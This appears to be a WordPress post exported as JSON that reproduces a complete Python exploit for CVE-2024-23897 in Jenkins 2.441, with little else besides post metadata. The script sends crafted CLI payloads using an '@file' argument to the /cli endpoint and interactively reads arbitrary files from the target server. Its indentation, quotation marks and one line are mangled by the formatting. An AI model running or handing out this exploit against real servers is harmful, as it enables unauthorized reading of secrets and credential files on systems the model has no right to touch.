# Exploit Title: Jenkins 2.441 – Local File Inclusion
# Date: 14\/04\/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https:\/\/www.jenkins.io\/
# Software Link: https:\/\/github.com\/jenkinsci\/jenkins\/archive\/refs\/tags\/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897<\/p>\n
from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall<\/p>\n
class Exploit(Thread):
def __init__(self, url: str, identifier: str):
Thread.__init__(self)
self.daemon = True
self.url = url
self.params = {“remoting”: “false”}
self.identifier = identifier
self.stop_thread = False
self.listen = False<\/p>\n
def run(self):
while not self.stop_thread:
if self.listen:
self.listen_and_print()<\/p>\n
def stop(self):
self.stop_thread = True<\/p>\n
def receive_next_message(self):
self.listen = True<\/p>\n
def wait_for_message(self):
while self.listen:
sleep(0.5)<\/p>\n
def print_formatted_output(self, output: str):
if “ERROR: No such file” in output:
print(“File not found.”)
elif “ERROR: Failed to parse” in output:
print(“Could not read file.”)<\/p>\n
expression = “No such agent \\”(.*)\\” exists.”
results = findall(expression, output)
print(“\\n”.join(results))<\/p>\n
def listen_and_print(self):
session = Session()
headers = {“Side”: “download”, “Session”: self.identifier}
try:
response = session.post(self.url, params=self.params, headers=headers)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print(“Could not connect to target to setup the listener.”)
exit(1)<\/p>\n
self.print_formatted_output(response.text)
self.listen = False<\/p>\n
def send_file_request(self, filepath: str):
headers = {“Side”: “upload”, “Session”: self.identifier}
payload = get_payload(filepath)
try:
post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print(“Could not connect to the target to send the request.”)
exit(1)<\/p>\n
def read_file(self, filepath: str):
self.receive_next_message()
sleep(0.1)
self.send_file_request(filepath)
self.wait_for_message()<\/p>\n
def get_payload_message(operation_index: int, text: str) -> bytes:
text_bytes = bytes(text, “utf-8”)
text_size = len(text_bytes)
text_message = text_size.to_bytes(2) + text_bytes
message_size = len(text_message)<\/p>\n
payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
return payload<\/p>\n
def get_payload(filepath: str) -> bytes:
arg_operation = 0
start_operation = 3<\/p>\n
command = get_payload_message(arg_operation, “connect-node”)
poisoned_argument = get_payload_message(arg_operation, f”@{filepath}”)<\/p>\n
payload = command + poisoned_argument + start_operation.to_bytes(1)
return payload<\/p>\n
def start_interactive_file_read(exploit: Exploit):
print(“Press Ctrl+C to exit”)
while True:
filepath = input(“File to download:\\n> “)
filepath = make_path_absolute(filepath)
exploit.receive_next_message()<\/p>\n
try:
exploit.read_file(filepath)
except exceptions.ReadTimeout:
print(“Payload request timed out.”)<\/p>\n
def make_path_absolute(filepath: str) -> str:
if not filepath.startswith(‘\/’):
return f”\/proc\/self\/cwd\/{filepath}”
return filepath<\/p>\n
def format_target_url(url: str) -> str:
if url.endswith(‘\/’):
url = url[:-1]return f”{url}\/cli”<\/p>\n
def get_arguments():
parser = ArgumentParser(description=”Local File Inclusion exploit for CVE-2024-23897″)
parser.add_argument(“-u”, “–url”, required=True, help=”The url of the vulnerable Jenkins service. Ex: http:\/\/helloworld.com\/”)
parser.add_argument(“-p”, “–path”, help=”The absolute path of the file to download”)
return parser.parse_args()<\/p>\n
def main():
args = get_arguments()
url = format_target_url(args.url)
filepath = args.path
identifier = str(uuid4())<\/p>\n
exploit = Exploit(url, identifier)
exploit.start()<\/p>\n
if filepath:
filepath = make_path_absolute(filepath)
exploit.read_file(filepath)
exploit.stop()
return<\/p>\n
try:
start_interactive_file_read(exploit)
except KeyboardInterrupt:
pass
print(“\\nQuitting”)
exploit.stop()<\/p>\n
if __name__ == “__main__”:
main()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Jenkins 2.441 – Local File Inclusion# Date: 14\/04\/2024# Exploit Author: Matisse Beckandt (Backendt)# Vendor Homepage: https:\/\/www.jenkins.io\/# Software Link: https:\/\/github.com\/jenkinsci\/jenkins\/archive\/refs\/tags\/jenkins-2.441.zip# Version: 2.441# Tested on: Debian 12 (Bookworm)# CVE: CVE-2024-23897 from argparse import ArgumentParserfrom requests import Session, post, exceptionsfrom threading import Threadfrom uuid import uuid4from time import sleepfrom re import findall class Exploit(Thread):def __init__(self, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56280","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56280"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56280\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}